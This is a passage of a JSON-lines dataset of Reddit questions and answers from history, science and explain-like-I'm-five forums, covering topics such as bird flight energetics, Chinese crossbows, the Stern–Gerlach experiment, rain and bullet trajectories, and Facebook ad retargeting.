appreciate this sub and the mods. I'm a high school AP World History teacher and love the analytical thinking that goes on here. In fact I plan on, somehow, incorporating some of the discussions in to my classroom to show what reasoned historical arguments look like. In other words, answer the perennial question: what do historians do? Students need to understand that one can disagree with another and still be cordial and understanding of the other person's viewpoints. This sub has really nice examples of that which is absolutely rare on the internet. ", "Congrats r/AskHistorians!  I love this sub reddit.\n\nI checked out your list of books on pre-modern Japan (my field, though I realize I'm not a flared member), and I would like to make a suggestion.  Who should I talk to?", "One thing: the Greek portion of the book list seems a bit Atheno centric and it might be interesting to have a few works on Sparta or one of the other *poleis*. I'd suggest a few, but will refrain, seeing as you only take suggestions from flaired users at the moment. A good call I think. And I don't want to clog that up.\n\nOther than that, the list is basically a good portion of what I read at university.\n\nThanks for making this subreddit awesome, mods and flaired contributors.", "Bit late to the party, but still wanna say thanks to the mods. Awesome sub that stays awesome due to some VERY good modding!"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/wiki/index", "http://www.reddit.com/r/AskHistorians/wiki/faq", "http://www.reddit.com/r/AskHistorians/wiki/links", "http://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/r/AskHistorians/wiki/books"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2hup75", "title": "Who said the quote along the lines of, \"politics are ran by those who arrive\"?", "selftext": "I seem to recall Churchill? I can't find it now. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hup75/who_said_the_quote_along_the_lines_of_politics/", "answers": {"a_id": ["ckwaqov", "ckwv281"], "score": [3, 2], "text": ["Something near to:\n\n[\"History will be kind to me for I intend to write it.\"](_URL_0_) - Winston Churchill", "\"The world is run by those who show up\"? If that's what you're thinking of there appears to be debate over its originator."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/quotes/comments/13kpcj/history_will_be_kind_to_me_for_i_intend_to_write/"], []]}
{"q_id": "21pyph", "title": "How much energy does it take a bird to flap its wings during flight? Is it equivalent to humans walking/running?", "selftext": "Oh wow. Thanks for all the amazing answers and follow up questions. For science!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21pyph/how_much_energy_does_it_take_a_bird_to_flap_its/", "answers": {"a_id": ["cgfij15", "cgfimji", "cgfjvw1", "cgfmcg3", "cgfmery", "cgfmnj7", "cgfo4ws", "cgftcl9", "cgftrzz"], "score": [8, 593, 71, 7, 4, 10, 2, 2, 4], "text": ["The literal energy, the joules, depends on the wing configuration during flight (obviously). Each flight stroke is also fairly intensive, and more energetically expensive than say, walking. (Compare for example our glutes to bird flight muscles in raw percentage-of-mass). \n\nHOWEVER, we also need to arrest our motion on the landing phase. This isn't true for a bird, so overall a higher percentage of energy expenditure goes into actual positional translation (generally; there are plain exceptions to this). This is especially true with something like a soaring bird.", "It varies by the type of flight and the species of bird.  Most flight is energetically expensive, at least on a calorie per second basis.  \n\nGliding is very efficient, especially with favorable thermals.  Some birds can fly for hours without a single flap.  This is roughly analogous to you standing on a bicycle while rolling down a hill.  You could probably do it all day, but it's going to be tiring and make you sore.\n\nFrom there, you have migratory birds which can fly large distances at high speeds.  That is roughly equivalent to a brisk walk or light jog for you.\n\nAfter that, it's a sliding scale of flight becoming more and more energy intensive.  As a good rule of thumb the more agile a bird is, the more energy it needs to spend to stay airborne.  This peaks with the hummingbird, which burns a staggering amount of calories staying airborne.\n\nIt's also worth noting that taking off is generally the most taxing part of flight for any bird.", "\nA bird during flight consumes much more oxygen than a person while running. This is the reason why birds have air sacs which press continuously air in the lungs. Birds can not afford a pause while exhale and inhale. The 5 Air sacs contract the hole Time so there is always fresh oxygen in the lungs.\nHeres an link.\n\n_URL_0_", "People have already answered this question pretty thoroughly, but...\n\nFor those who might be interested in delving into this subject further.\n\nHere is a somewhat technical article that discuss how the mechanical power needed for bird flight translates into metabolic expenditure: _URL_2_\n\nHere is an article about the level of cardiovascular performance required for flight in birds:\n_URL_1_\n\n\nThis discusses the limits of migration based off of metablic abilities:\n_URL_0_ ", "While not exactly your question, David Attenboroughs documentary on Birds has a segment on bird flight. It discusses different kinds of flying (vultures gliding on heat vents to gain altitude, heavier birds having to get a running start or high-altitude drop In order to get speed.) I found that part so interesting I try not to spook birds anymore.  It's on Netflix", "People usually use a number called the 'cost of transport' to compare energy expenditure of locomotion between different species or forms of locomotion (flying/running/swimming/...). Cost of transport is a dimensionless number calculated as (energy used) / (weight x distance traveled).\n\nHere's an old article called '[The energetic cost of moving about](_URL_0_)'. Figure 2 on page 3 shows a really nice comparison between different species using different forms of locomotion. The takeaway from that article is that cost of transport depends mostly on body mass and form of locomotion, and that at a given body mass, flying animals tend to have a lower cost of transport than running ones (as expected). As a fun aside, the paper also shows 'how much easier' cycling is compared to running.", "Air speed is a major determinant of cost. Induced drag is high at low speeds (that's the drag associated with creating lift), making slow flight expensive for birds and planes. At high air speeds, drag on the body and wings increases (similar to the drag felt when riding your bike fast) making flight for birds and planes expensive. However, at medium speeds (the trough of the cost curve) flight can be less expensive per unit time, but still more expensive than walking or swimming. It's the tangent to the curve that represents the ideal speed for a bird or plane to fly at to be cheap per unit distance. ", "Equivalent?  Definitely not.  Proportional?  Maybe, but I doubt it.  If you look at energy expended per mile traveled, I am pretty sure they would not be proportional.  If you were to look at daily consumption of energy, then it might be closer to proportional.\n\nEdit: Here's a quote, from an ~~article~~ essay^? I found, that should prove useful for this and sort of back up my hypothesis: \n\n\"Birds do not generally use more energy than mammals to get the same job done -- indeed they often use less. Flying is faster and energetically cheaper than walking or running for comparably heavy animals. But, overall, birds and mammals are metabolically very similar.\" Source: _URL_0_ (third paragraph).\n\nAlso, [this link](_URL_1_) gives some more information, and it lists some daily metabolic levels for different birds.  \n\nAnother link: _URL_2_", "It isn't quite fair to compare a bird and a human, because energy expenditure during locomotion in determined to a great degree by body mass.  Large animals will ALWAYS expend more total energy to move some distance, but if you divide by body mass (and get mass-specific energy expenditure) small animals will ALWAYS seem to have higher energy expenditure per unit body mass.\n\nSpeed is also an important determinant of energy expenditure during locomotion, so we must adjust for that as well.\n\nOne measure that is widely used when measuring differences in metabolic costs during locomotion is incremental cost of locomotion, which is adjusted for body mass and speed.  You end up with units of Joules per meter x kilogram.  You can think of this in terms of \"how much energy would it take to move one kilogram one meter?\"\n\nWhen you make broad interspecific comparisons, it seems that flying is more energetically efficient than running, and swimming is more efficient than flying.\n\n[Here](_URL_0_) is a figure that will illustrate the point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.mytoos.com/airsacs.html"], ["http://web.mst.edu/~houch/Publications/Migration%20Ecology%20Letters.pdf", "http://jeb.biologists.org/content/71/1/7.abstract?ijkey=54d25ae640e8dff11bb6d9ca93fc09fe62097895&amp;keytype2=tf_ipsecsha", "http://jeb.biologists.org/content/203/10/1561.full.pdf"], [], ["http://www.zianet.com/wrucker/the%20energetic%20cost%20of%20moving%20about.pdf"], [], ["http://www.stanford.edu/group/stanfordbirds/text/essays/Metabolism.html", "http://people.eku.edu/ritchisong/birdmetabolism.html", "http://en.wikipedia.org/wiki/Ornithology"], ["http://www.harding.edu/plummer/animphys/images/hfig77.jpg"]]}
{"q_id": "2uchcs", "title": "What is the physics behind this hand-cranked electric train?", "selftext": "[This one](_URL_0_).The other videos on his channel are pretty cool; but this is the only one I don't get. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2uchcs/what_is_the_physics_behind_this_handcranked/", "answers": {"a_id": ["co74w5j", "co79f2e"], "score": [10, 14], "text": ["The crank that he's turning is hooked up to the little electric motor that you can see at the bottom of the stand.  By forcing the motor to turn, he's moving coils of conducting wire through a magnetic field.  This induces an electric current to flow through the wire, turning the motor into a generator, and producing the electricity that makes the train move.", "You have a hand cranked DC generator powering the tracks and a train with a DC motor in it. Turn the crank one way and the train goes along the track. Turn the crank the other way, you get the opposite polarity and the train comes back."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=B1m3qlU0frQ"], "answers_urls": [[], []]}
{"q_id": "2i305z", "title": "If I drew a random scribble on a set of axis, will there always be an equation to define it?", "selftext": "If I randomly scribble on a graph, can it be defined by an equation? How about drawings, for example a house or smiley face. What about really really complex images, can they be graphed using an equation?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2i305z/if_i_drew_a_random_scribble_on_a_set_of_axis_will/", "answers": {"a_id": ["ckyd7uy", "ckyfiuj", "ckyh7m8", "ckyjakd", "ckyk431", "ckykksz", "ckykyzy", "ckyrma6"], "score": [74, 6, 34, 14, 4, 89, 2, 2], "text": ["_URL_1_\n_URL_0_\n_URL_2_\n\nI don't know if it's possibly for any drawing, but here are some examples of what is possible :)", "Yes. You can always define the data piecewise", "**Absolutely Not**\n\nLet me prove my point by a simple cardinality argument.\n\nAssume that a \"random scribble\" is just a function from the interval [0,1] into the plane R^2 . (We can assume that it is smooth, or other regularity assumption, it is not really relevant to the point) Now what is an \"equation defining it\" ? Let's say that this means there exists a formula for the function corresponding to the scribble. Or in other words, a description of the function using a finite number of words and mathematical symbols. (for a similar concept with a more precise description, see [definable numbers](_URL_0_) )\n\nThe first set of scribbles is uncountable. But the second set of definable equations is countable. Hence there are necessarily random scribble that cannot be defined by an equation.\n\n**But then why is everyone else answering yes ??**\n\nBecause, even if we cannot find an equation to *exactly* define the scribble, we can find an equation that will describe a function as close as we want from our original scribble.\n\nFor example, for any random scribble, I can find an equation such that the function defined by the equation and the random scribble looks the same from a human eye. But we could probably zoom with a microscope and see that in fact the function and the scribble are not the same. \n\nSo all the fancy pictures you see from Nicolas Cage, are in fact approximations that look close enough for our eyes. If we could zoom on this functions and compare to the original drawing of Nicolas Cage, we would probably see that they do not coincide.\n\nNote that for some simple and ideal scribble (like a perfectly round smiley face), there could be an exact equation describing it. But these are the exceptions.\n\nEDIT : I come back after a few hours and my answer made its point. You see, I am a reasonable guy, usually I don't use **bold** statements. My point was to take the opposing view from all the other posts saying \"yes\". I voluntarily took only one possible interpretation of \"scribble\" and \"equation\" to make a point. A mathematical question makes sense only if you define first what you are talking about. The answer of /u/functor7 is excellent at this. I will now try to answer a few comments ...\n\nEDIT2 : A lot of answer seems to be adressing that there are only a finite number of molecules, invoke Planck's length to argue that space is discrete and so on ... that's unexpected. But if we are going to this level of detail of the physical world, then I affirm that I will never be able to write down the exact equation corresponding to a scribble because there is not enough space in the universe to contain the tremendous amount of information required to describe the positions of 10^20 molecules in a discrete space zoomed at Planck's length ... I guess we can all agree that this is not the point at all ...", "Mostly yes. You can define an equation that is arbitrarily close to your scribble at all points (uniformly arbitrarily close). This is a famous result in mathematics, the [Stone-Weierstrass Theorem](_URL_0_). You can debate whether 'arbitrarily close' is the same thing as 'defines'. That's more philosophical. But if you make arbitrarily close REALLY close, then humans and computers won't be able to tell the difference. \n\nNow I'm only talking about functions here (something that passes the vertical line test). You could approximate something more complicated by  breaking it down into several functions and approximating each bit. There are also more general versions of the theorem, but it gets complicated. ", "If you can prove that any line of any scribble can be defined by a simple function, then you prove that any scribble can be represented by a piecewise function. \n\nA single equation, however, not so much.", "Most of these responses are loose with assumptions, definitions and reasoning, so are not very good. This is a more subtle question than most realize. And honestly, I don't know what the answer is. It's most likely \"No\" but I can't think of a proof. But what we need to do is to say what we mean by \"Scribble\" and what we mean by \"Equation\".\n\n**Scribble -**  Some people are using very physical or computer interpretations for this. I think that is incorrect. If you do take this to mean things that we can draw with a pencil and that an equation that draws this graph just has to be inside the lines of the pencil, then the answer is \"Yes.\" We can just approximate it with piecewise lines, like computers do, and get an equation. So, practically, you can make a decent looking graph on a computer of an equation that looks like most any picture you want. But that's not too interesting mathematically. We should define a \"Scribble\" to be any continuous function from [0,1] into R^(2). This is essentially means using a pencil that is infinitely accurate.\n\n**Equation -** So many people misinterpret \"equation\" and \"function\". An equation is just two kinds of expressions related by an equals sign. If we only included functions, then I could draw a circle and we're done. So we need the full power of equations. But what kinds of equations?\n\n* If we restrict ourselves to rational numbers, then the line \"y=pi\" does not have a solution using only rational numbers. So we should include irrational numbers. This right here breaks down /u/Vietoris' argument, see my explanation in a reply to his post.\n\n* If we restrict ourselves to only using algebraic equations (equations with addition and multiplication of variables with real coefficients), then the line y=sin(x) does not have a solution and we're done. But it seems silly to exclude that, so let's go ahead and include all [Elementary Functions](_URL_0_) into our equations. Let's say we can use piece-wise functions too.\n\n* If we restrict to just those, then the graph of y=[Gamma](_URL_2_)(x), has no equation. That also seems silly, so let's just allow ourselves to use [Special Functions](_URL_1_) as well. We might as well throw in all derivatives and integrals of whatever can too.\n\nSo an equation can use any algebraic, elementary or special function, real numbers and piecewiseness along with integrals and derivatives.\n\nAgain, I think the answer is \"No\", but I can't figure out a convincing proof or find a decent reference. As someone else already quoted \"Engineers say 'Yes', Mathematicians say 'No'\". But since this was asked as a math question, we should look at is as such. Independent of ink, pixels, plank-length etc.", "When people think of graphing an equation, they usually think of a *function*.  This is definitely not true of a function, because a function must pass the [vertical line test](_URL_0_).\n\nA [parametric equation](_URL_1_) doesn't have that requirement, so the equation would likely need to take that form.\n\nIn general, you could make a parametric equation match any line or curve exactly, so long as it's \"short enough.\"  For longer sections, you could only approximate it, especially if there are discontinuities (changes that are not smooth).\n\nIf you allow a [piecewise](_URL_2_) parametric equation, then yes, you could match any scribble if you broke it down into enough sections and had a parametric equation for each piece.  If you allow only a single equation, then no, you can only get an approximation.", "**Yes, there will always be an equation**. But whether or not the equation is simple depends upon the ingenuity of person describing your scribble. (And some are going to be a mess regardless.)\n\nTo prove that it is most certainly possible: Consider a monitor with pixels. No matter how complicated the visuals displayed may be, they can always be described by a simple table (a set of equations) of yes/no points.\n\nFor example: You could describe a circle as x^2 + y^2 = 1. Or you could create a set of one hundred thousand linear lines with incremental slopes and starting points. Both would be visualized as a circle, but the numerical description would be quite different. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=kim+jong+il+curve", "http://www.wolframalpha.com/input/?i=scooby+doo+curve", "http://www.wolframalpha.com/input/?i=nicholas+cage+curve"], [], ["http://en.wikipedia.org/wiki/Definable_real_number"], ["http://en.wikipedia.org/wiki/Stone%E2%80%93Weierstrass_theorem"], [], ["http://en.wikipedia.org/wiki/Elementary_function", "http://en.wikipedia.org/wiki/Special_functions", "http://en.wikipedia.org/wiki/Gamma_function"], ["http://en.wikipedia.org/wiki/Vertical_line_test", "http://en.wikipedia.org/wiki/Parametric_equation", "http://en.wikipedia.org/wiki/Piecewise"], []]}
{"q_id": "7j024y", "title": "There is little information on Chinese crossbow design. How were they made, and what were their features that made them different from today\u2019s more widely known European design? Did they use different designs for mounted combat? And was the repeater variant effective or more of a gimmick?", "selftext": "Contrary to how my post may imply, I know that crossbows are first documented in China. I did not mean to appear like I believe they came from Europe and were exported to China. What I mean is that there just seems to be so much information available on European crossbow design, but very little on the Chinese variants.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7j024y/there_is_little_information_on_chinese_crossbow/", "answers": {"a_id": ["dr444up"], "score": [6], "text": ["In my experience, I've found information on Chinese crossbows easier to find, especially technical details, than European crossbows. Needham, *Science and Civilisation in China*, vol 5 part 6 has about 60 pages on the crossbow; that's a good place to start, but there's plenty more (e.g., discussion of archaeological finds, construction, etc. in Yang Hong, *Weapons in Ancient China*).\n\n >  How were they made, and what were their features that made them different from today\u2019s more widely known European design?\n\nThe main difference, compared with European crossbows, is that the Chinese crossbow had a long power stroke (i.e., the string was drawn back much further). This meant that:\n\n1. The Chinese crossbow was large - the bow needs to be longer in order to be safely drawn back further.\n\n2. The trigger mechanism is closer to the butt.\n\n3. The same energy can be delivered with a lower draw weight, so there is less need to go to mechanical spanning devices (levers, cranks, windlasses).\n\nThe bows could be simple self-bows (one piece of wood), probably composite bows (horn and sinew on wood/bamboo, as usual on regular Chinese bows), and multiple pieces of bamboo or wood bound together like leaf springs.\n\n >  And was the repeater variant effective or more of a gimmick?\n\nIt wasn't as powerful as normal crossbows. The tested example that results are given for in Needham has a draw weight of about 200lb, and a maximum range of 200 yards, and an effective range of 80 yards. The repeating crossbows had a shorter power stroke than the normal Chinese crossbow.\n\nUseful for a high rate of fire, at short ranges (where short isn't uselessly short).\n\n >  Did they use different designs for mounted combat?\n\nThe repeating crossbow was recorded as being suitable for mounted use. But Chinese mounted archers usually used a conventional (i.e., non-crossbow) bow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b7emu1", "title": "Can the Stern\u2013Gerlach experiment measure spin direction?", "selftext": "As I understand, it just proves that spin is quantized and it can also measure the spin of individual particles, but not the direction of them. Is this true? Furthermore, if it can, how would differently facing spins appear in the output of the experiment? \n\nOn a side note, mildly related to the main question: does a beam of positrons generated from pair production, separated from the electrons, have all their spins facing in the same direction? \n\nThanks for the answers in advance! ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b7emu1/can_the_sterngerlach_experiment_measure_spin/", "answers": {"a_id": ["ejsegtw", "ejselac"], "score": [3, 2], "text": [" > it can also measure the spin of individual particles, but not the direction of them\n\nWhat do you mean by this? How do you define measuring the spin vs measuring the direction of spin?\n\nThe apparatus measures the direction of spin along any arbitrary axis. ", "In the SG experiment, each of the final two beams are uniquely polarized along the axis of the inhomogeneous magnetic field. In a sense, you can use a series of inhomogenous magnets in the same way you can use a series of polarizers for light beams. However you've only isolated the *component* of spin along a certain axis. The spin-vector itself isn't sharply defined as only a single component of spin can ever be specified at a time, but you can say that it lines somewhere on the cone centered on the axis of polarization [as seen in this picture here.](_URL_0_) More technically the SG experiment only directly measures magnetic moment and not spin, but the two are intimately related. There is an often unspoken convention for whether the magnetic moment lies parallel or anti-parallel with spin for a particular particle.\n\nThe positron and electron spins are opposite for the same magnetic moment polarization which is due to the signs of their charge. So if a SG experiment produces an upper beam of spin down electrons, then the equivalent positron beam would be spin up.\n\nAs a further note the SG experiment actually hasn't been done for electrons or positrons - only for neutral systems. The reason is that magnetic fields deflect charged particles (Lorentz Force) and mixtures of angular momentum states and spin states (called Landau levels) have very nearly the same energy and thus amount of deflection ruining the SG result seen for things like silver atoms. Technically the degeneracy (multiple states with same energy) is broken by the very small anomalous magnetic moment of the electron, but as far as I know this fact hasn't yet been exploited in making a direct measurement of the Stern-Gerlach effect for electrons or positrons.\n\nAs the anomalous moment of protons is much larger, they would make an ideal candidate to test this out, but the nuclear magnetic moment is much smaller than the electrons (as moment ~ e/m) so the deflections would be tiny. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/File:Spin_half_angular_momentum.svg"]]}
{"q_id": "sncf7", "title": "Could quantum trapping be put to practical uses?", "selftext": "After discovering quantum trapping on YouTube, I read up on it and learned a bit about it. I don't see any reason why it couldn't be used in practical applications, such as a no friction bullet train. Is there any flaw in this theory?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sncf7/could_quantum_trapping_be_put_to_practical_uses/", "answers": {"a_id": ["c4fnpn9"], "score": [2], "text": ["By quantum trapping I'm assuming you're referring to magnetic levitation using superconductors? \n\nIf so, then the major issue is the fact that even the highest known temperature superconductors still operate somewhere between the temperature of liquid helium and liquid nitrogen (i.e. really cold). It's just not practical for large scale applications."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2y1j4k", "title": "Shooting a bullet through water will drastically slow it down. If it was raining hard enough, would it effect the bullet's trajectory?", "selftext": "How hard would it have to be raining to notice a change? Is there anywhere on earth that it rains that hard?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2y1j4k/shooting_a_bullet_through_water_will_drastically/", "answers": {"a_id": ["cp698l7", "cp6ai57", "cp6ftqs"], "score": [2, 4, 2], "text": ["Anything interacting with a bullet in flight will alter its trajectory in some manner, though the extent of the effect depends on how much momentum can be changed. A single raindrop by itself would not do much to change the momentum of a bullet in flight, but repeated strikes by raindrops could alter the path of a bullet.\n\nDetermining if you can notice the change depends on a few things, such as range to target and statistical distributions of where the rain is falling. The further from a target, the more time there is for raindrops to hit bullet, meaning that less raindrops have to hit the bullet per foot traveled. It would take much more water flow to change a one foot trajectory than it would to change a one mile trajectory. This can be considered a physical example of propagation of error in calculations, in a way. \n\nStatistics comes into play by determining the probability that a raindrop will hit a bullet in flight. This is a bit of a muddy (pun intended) concept, as measuring this probability depends a lot on the conditions of the storm; rain drop size, rainfall density, wind patterns, possible local environmental variables, so on and so forth. By estimating, making assumptions, and maybe a bit of data collecting, you eventually could come to a value of number of hits per foot. From there, you estimate the change in momentum for each hit, then, with a little vector-based physics, you could determine just how much a certain amount of rainfall affects a bullet's trajectory. Complicating from there, you could add in compensation factors for gyroscopic effects from rifling, wind disturbances, air density shifts, and a host of other complicating variables.\n\nInteresting question.", "\"If it was raining hard enough, would it effect the bullet's trajectory?\" \nThere is no answer to this but yes. If A then A?\n\nAs to whether this happens on earth I'd be highly surprised if it could.\n\nLooking at some googled numbers it looks like a collision with a water droplet reduces the speed of an 8 gram bullet to around 99.98% (that's pretty much exactly in the middle of elastic and perfectly inelastic collision result).\n\nLet us say 1% is a noticeable difference (for arguments sake) then you'd need around 50 collisions to have a noticeable effect.\n\nIf we are worried about the impact on hitting somebody maybe we need to go higher than this. Say 10% then we need around 525 collisions. Usual range for firing a handgun we'll say is around 25 metres. With a 9mm diameter that means the bullet sweeps out an volume of  0.0064 m^3. Roughly speaking we then need 525 raindrops per 0.0064 m^3, which is 6.4 ml. A raindrop is about 1ml so this is impossible.\n\nSo the bullet hitting water droplets can't do this. What about deflecting the bullet via water landing on it? A large(ish) water droplet falls at about 10ms^-1. This has even less of an effect than the bullet hitting the water, it has zero effect to 8 or 9 decimal places on the speed of the bullet.", "Here's a quick calculation to estimate what fraction of the air is actually water when it's raining ([web source](_URL_0_)):\n\n* Terminal Velocity of Rain ~ 9 m/s\n* Moderate Rain Rate ~1 inch / hour\n* Very heavy rain ~2 inch / hour\n\nDensity = rain rate / velocity\n\n* Moderate = 7.8 * 10^-7 fraction\n* Heavy = 1.6 * 10^-6 fraction\n\nSo now you have to figure out how much volume of space a bullet crosses in it's path. For now let's ignore the fact that a bullet has length and a rain drop could hit the bullet on it's side and only imagine the bullet hitting rain drops as it moves through the air. For this volume we'll need the cross sectional area of the bullet times the length of it's path. Speed doesn't factor in to this part of the calculation. Let's assume a 9 mm bullet (that's the diameter of the slug) travelling 100 feet.\n\n(((9 mm)^2) / 4) * pi * (100 feet) = 1.9 liters\n\nNow for a heavy rain, only 1.6 * 10^-6 of that is actually water. So that's 0.0031 milliliters of water that the bullet actually hits. You can scale this up if the bullet travels farther.\n\n0.0031 milliliters is a tiny amount of water and is insignificant in comparison to the kinetic energy of the bullet. It won't make a difference over a short distance, but the math may be different for a rifle bullet which travels long distances. In those cases even slight changes in momentum can make a few inches of difference in trajectory.\nTL;DR: There isn't enough rain in the air, even in very heavy rain, to appreciably slow a bullet. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.dmcinfo.com/latest-thinking/blog/id/206/geek-challenge-rain-drop-density"]]}
{"q_id": "dsha51", "title": "Did enemy combatants target Fifer/Drummer boys during the age of musket/powder rifle based warfare?", "selftext": "AFAIU, drummers have always been a staple in infantry units to keep order, coordination, and rhythm. This makes intuitive sense!\n\nNow, when popular media depicts battle scenes between armies with muskets or powder rifles, there always seems to be a pre-pubescent boy playing a fife next to another boy playing a drum. Both boys are always depicted on the front row of the formation. \n\nAccording to the [Wiki](_URL_1_) on this topic: \n\n > \"drummers were more often adult men, recruited like the common soldiers. Fifers, on the other hand, being not an official part of the regiments early on, were usually recruited from young boys... the youngest boys were sometimes treated as mascots by the adult soldiers... The image of a small child in the midst of battle was seen as deeply poignant by 19th-century artists.\" \n\nHow did the opposing armies typically engage with these so-called \"mascots\"?? Did they generally let them live and play on, or did they try to attack them as fast as possible, or....?\n\nIt seems self-evident that the fifer/drum boys would be easy targets... and, if one were to silence the enemy's mascot right away, wouldn't that grant your side a tactical advantage by immediately demoralizing your enemy? \n\nWhat if a fifer boy or a drummer boy/man were to be captured? How would they be treated compared with other combatants? \n\nIf I was an infantry man in an army on the literal front line, and I took out the enemy's fifer/drum boys,  how would this act be viewed by my compatriots? (I am assuming that the enemy army would view it as an act of high barbarism since the youth was not firing shots). \n\nWhat did the fifer/drum boys do once the combat got really intense? Were they also armed? What were their typical \"marching orders\"? Were these orders along the lines of \"keep playing no matter what to keep up morale\"... or something else? \n\nAre there any known stories of a fifer/drum boy coming face to face with the enemy army's fifer/drum boy? If so, what happened?  \n\nFinally, I know this community prefers specific eras for discussion, but I would love to also learn more about \"combat mascots\" and their treatment during other time periods and other modes of warfare! (When my brother-in-law fought in the Battle of Ramadi in Iraq as a Marine Corps Infantryman, his battalion utilized vehicles outfitted with giant loud speakers that blasted Heavy Metal music for many days of heavy fighting to keep the troops amped up. I couldn't help but think that this was a modern version of that fifer boy.) \n\nAlso, special shout out to this [badass fictional character](_URL_0_) that inspired me to want to learn more about this historical phenomena.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dsha51/did_enemy_combatants_target_fiferdrummer_boys/", "answers": {"a_id": ["f6r677m"], "score": [38], "text": ["/u/LordKettering states that[ musicians on the battlefield were neither targeted nor spare](_URL_0_)."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/UtjGTrVwRr4?t=26", "https://en.wikipedia.org/wiki/Drummer_(military)"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1bz4tx/was_there_an_unspoken_rule_to_spare_the_drummers/c9bjlo8/"]]}
{"q_id": "3ne3zd", "title": "how does my facebook feed know that i bought a pair of pants from some store?", "selftext": "I buy something... anything... a pair of pants for my mother from LLBean and the next thing I see in my Facebook feed is an advertisement from LLBean offering me other styles of women's pants.  \n\nThanks for the good answers.  Here's a really good explanation of how pixels work from your purchase website back to Facebook.  _URL_0_  Props to /u/robosalt for getting me pointed in the final direction and everyone who offered opinions.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ne3zd/eli5_how_does_my_facebook_feed_know_that_i_bought/", "answers": {"a_id": ["cvn6tlc", "cvn6u7o", "cvn83xu", "cvn8vqh"], "score": [25, 6, 2, 4], "text": ["Your cookies and browsing history are used to customize the advertisements you see while you are browsing the internet. You can turn on incognito mode, or delete your history and cookies, and see a change in the advertisements on your feed. ", "Facebook has, through the extensive use of Facebook integration on other websites and persistent tracking cookies, a very good method of tracking your browsing habits. Your primary means of avoiding this is through use of adblockers that enable you to prevent these integrations and tracking cookies.", "In short, when you load a page on a retailers website, a \"cookie\" is attributed to you/your browser. The retailer now has you in a group (pants researcher, pants buyer, socks researcher, however they want to split audiences up, etc). \n\nUsing a \"pixel\" the cookies' information can be shared in real time with media companies like Facebook, Twitter, Yahoo... so those groupings / audiences can either be:\n1) anti-targeted (you already bought so don't serve an ad)\n2) targeted and served a certain creative (pants researcher gets pants, pants buyer gets either more pants or shirts)", "It gets more interesting when you buy it in the real world (no Facebook, no pixel, right?) yet, next time you go to Facebook, you see the same item you just bought, just different styles show up in the ads. \n\nI've seen this kind of retargeting a lot with Louis Vuitton and Burberry. \n\nMy theory is they do it via phone number. "]}, "title_urls": [], "selftext_urls": ["https://retargeter.com/what-is-retargeting-and-how-does-it-work"], "answers_urls": [[], [], [], []]}
{"q_id": "2wi7bx", "title": "how did a game like flappy bird become so successful?", "selftext": "With so many apps/games out there, how did a game like Flappy Bird find its way onto millions of peoples' phones?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wi7bx/eli5_how_did_a_game_like_flappy_bird_become_so/", "answers": {"a_id": ["cor2uyo", "cor3dkl"], "score": [2, 2], "text": ["Because it is one of the most simplistic games on the App Store, yet it is insanely difficult to get a decent score in your first 50 attempts.", "Important to know:  There are hundreds of games like Flappy Bird which if you had reviewed them prior to Flappy Bird would have been essentially indistinguishable.  You would not have been able to pick Flappy Bird out of a lineup of similar games and say \"this is the one that will become a massive success\".  Nobody could.\n\nNobody knows why Flappy Bird did what it did.  And a lot of people want to figure it out.  If there were a reproducible method, it would be copied.(*)\n\nIt appears that what happened is that the game incubated in a small population of teenagers who passed the game between themselves by telling friends to play it.  The initial audience could have been anyone, it was totally random.  For reasons not well understood, that small population got the attention of a couple of super-famous youtube stars who reviewed the game.  That boosted the signal enough that the game became a phenomenon.  Nobody knows why that happened either - those people have reviewed dozens of games and none of them did what Flappy Bird did.  \n\nIt was purely a case of luck.\n\n(*) I think there is a small, but non-zero chance, that the phenomenon was engineered as a test of various marketing tactics and strategies.  It is possible that the whole cascade of events that took the game from total obscurity to worldwide phenomenon was orchestrated by someone or some group that wanted to see what could be done to boost the signal from zero to world-famous given all the available tools.  I have looked into a lot of the trending in Flappy Bird's lifecycle and there are unexplainable discontinuities and unlikely coincidences which lead me to think it is possible that we saw something much more sophisticated than \"guy in Korea got lucky\".  But there's no real proof."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
